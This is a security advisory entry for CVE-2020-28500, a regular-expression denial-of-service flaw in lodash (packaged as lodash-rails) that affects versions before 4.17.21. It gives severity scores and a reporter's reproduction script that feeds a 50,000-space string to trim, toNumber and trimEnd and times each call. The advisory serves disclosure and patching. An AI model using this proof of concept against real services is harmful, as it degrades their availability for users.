CVE-2020-28500 – lodash-rails

Package

Manager: gem
Name: lodash-rails
Vulnerable Version: >=0 <4.17.21

Severity

Level: Medium

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

EPSS: 0.00202 pctl0.42555

Details

Regular Expression Denial of Service (ReDoS) in lodash All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `toNumber`, `trim` and `trimEnd` functions. Steps to reproduce (provided by reporter Liyuan Chen): ```js var lo = require('lodash'); function build_blank(n) { var ret = "1" for (var i = 0; i < n; i++) { ret += " " } return ret + "1"; } var s = build_blank(50000) var time0 = Date.now(); lo.trim(s) var time_cost0 = Date.now() - time0; console.log("time_cost0: " + time_cost0); var time1 = Date.now(); lo.toNumber(s) var time_cost1 = Date.now() - time1; console.log("time_cost1: " + time_cost1); var time2 = Date.now(); lo.trimEnd(s); var time_cost2 = Date.now() - time2; console.log("time_cost2: " + time_cost2); ```

Metadata

Created: 2022-01-06T20:30:46Z
Modified: 2025-08-12T21:44:06Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/01/GHSA-29mw-wpgm-hmr9/GHSA-29mw-wpgm-hmr9.json
CWE IDs: ["CWE-1333", "CWE-400"]
Alternative ID: GHSA-29mw-wpgm-hmr9
Finding: F211
Auto approve: 1